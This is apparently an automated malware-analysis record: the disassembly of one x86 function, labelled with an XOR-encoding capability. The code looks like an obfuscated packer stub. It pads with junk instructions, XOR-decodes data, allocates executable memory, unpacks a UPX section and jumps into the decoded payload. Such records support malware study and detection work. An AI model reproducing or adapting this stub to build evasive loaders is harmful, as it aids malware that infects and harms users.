Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc16b28e3
mov ebx, esi
sub ebx, 0x23120765
popal
dec ebx
mov ebx, esi
mov esi, 0
mov edx, eax
sub ebx, 0x37ecd025
inc ecx
mov edi, edx
dec ebx
add ebx, 0x234ca13f
mov eax, edi
mov ebx, 0x6a0be3aa
mov ecx, 0x7d2ae747
inc esi
mov ecx, ebx
and ebx, ebx
sub ebx, 0x177cca23
cmp esi, 0x1007cb9
jne 0xa789c3
or ecx, ecx
or ecx, ecx
mov esi, 0x12d52576
mov esi, 0x59e3f2b0
mov edx, 0xa78796
add eax, 0xb930fe74
and ecx, ecx
dec esi
mov edi, 0xa7898a
mov ecx, eax
sub esi, ecx
mov ebx, dword [edx]
add eax, 0x6e3983ed
sub esi, 0x86c661bf
and ebx, 0xff
sub esi, ecx
add esi, 0xc60345fb
and esi, esi
xor dword [edi], ebx
add esi, esi
dec esi
not esi
inc edi
mov esi, ecx
inc esi
add esi, 1
inc edx
add eax, 1
add ecx, 1
sub esi, 0x324d9805
cmp edi, entry0
jl 0xa78a1d
sub esi, ecx
inc eax
inc esi
inc esi
add eax, esi
sub edi, ebx
dec edx
or edi, esi
mov ecx, 0xa7898e
not edx
add ebx, esi
mov ecx, dword [ecx]
add esi, 1
add edi, edi
mov edi, esi
mov ecx, dword [ecx]
sub esi, 0x872c9e50
sub edx, 0xa6f0b408
push ecx
sub edi, esi
or edi, ebx
mov ecx, 0xa7898a
or ebx, edi
mov esi, 0xdf096dd1
mov ecx, dword [ecx]
mov ebx, edx
not edx
mov ecx, dword [ecx]
dec edi
add edi, ebx
dec ebx
push 0xa78992
inc edx
not edx
sub edi, 0x59be77ca
call ecx
sub ebx, 0x4022c400
mov esi, 0xfb96d299
mov ecx, dword [esp]
add esp, 4
not edx
not ebx
sub edx, ebx
push 0xa7899f
sub esi, 0xc5a73cb0
sub esi, 0x2e5dbe8e
push eax
not edi
and ebx, ebx
mov esi, ebx
call ecx
dec edx
and edi, edi
push 0x40
dec edx
mov edi, 0xc60cb8c6
and edi, edi
push 0x3000
and edx, edx
sub edi, esi
push 0x200001e1
sub edi, ebx
add edx, 0x9a2929bd
push 0
dec edi
sub edx, 0x2ba99812
call eax
mov edx, 0x87474ced
sub edi, edx
add eax, 0x20000175
and ebx, esi
and ebx, esi
mov edi, 0x15f7aa77
mov ecx, 0x6982a192
and edi, esi
mov edi, ebx
mov dword [eax], ecx
add edx, edi
or ebx, edi
mov esi, edx
mov ecx, dword [eax]
mov edx, ebx
add edi, 1
cmp ecx, 0x6982a192
je 0xa78b6c
mov ecx, 0
mov byte [ecx], dl
mov edx, 0xd678f1d9
inc ebx
add edi, ebx
add ebx, ebx
mov edi, 0xec089d0c
not ebx
sub esi, 0x8ee4a978
mov eax, section.UPX1
sub esi, 0xde921857
sub esi, ebx
dec esi
mov edi, 0xa78795
not esi
mov ebx, 0x597de615
mov edx, 0
add esi, 0xf56713f2
sub ebx, 1
mov ecx, 0xa78796
add ebx, 0x83067b9c
add esi, 0x5d09e9bb
inc esi
lea ecx, [edx + ecx]
sub esi, 1
add ebx, esi
mov ecx, dword [ecx]
sub esi, 0xe6fb46fe
sub ebx, 0x995f76af
and ecx, 0xff
sub esi, 0x2469e091
or esi, esi
inc edx
sub ebx, 1
sub esi, 0x1752ff9d
not ebx
cmp edx, 0x1f4
jne 0xa78c03
mov edx, 0
dec ebx
sub ebx, 0x83692fee
mov ebx, esi
inc ebx
sub ebx, 0x8563a639
xor dword [eax], ecx
add esi, ebx
mov esi, ebx
and esi, esi
add eax, 2
inc ebx
inc esi
cmp eax, edi
jl 0xa78bae
add ebx, ebx
not ebx
or esi, esi
not esi
mov esi, 0xed08d8b6
mov edx, section.UPX1
sub eax, esi
inc esi
add eax, 0x5b2b210a
mov ecx, section.UPX1
and esi, eax
sub esi, eax
mov edi, 0xa78795
add eax, 0x740f2209
not esi
not eax
mov ebx, 0
and eax, eax
add eax, 0xda31206f
mov eax, esi
mov bl, byte [ecx]
add esi, 0xa6845d3e
add esi, eax
mov byte [edx], bl
sub eax, esi
and esi, eax
inc edx
inc eax
sub eax, esi
add ecx, 2
not eax
sub esi, eax
cmp ecx, edi
jle 0xa78c6d
add eax, 0x856d93de
inc esi
inc esi
mov esi, ebx
mov esi, 0x832081fe
sub esp, 4
mov dword [esp], 0x8dc6a0
sub ebx, 0x82110b21
add ebx, 0x90a3bdd
ret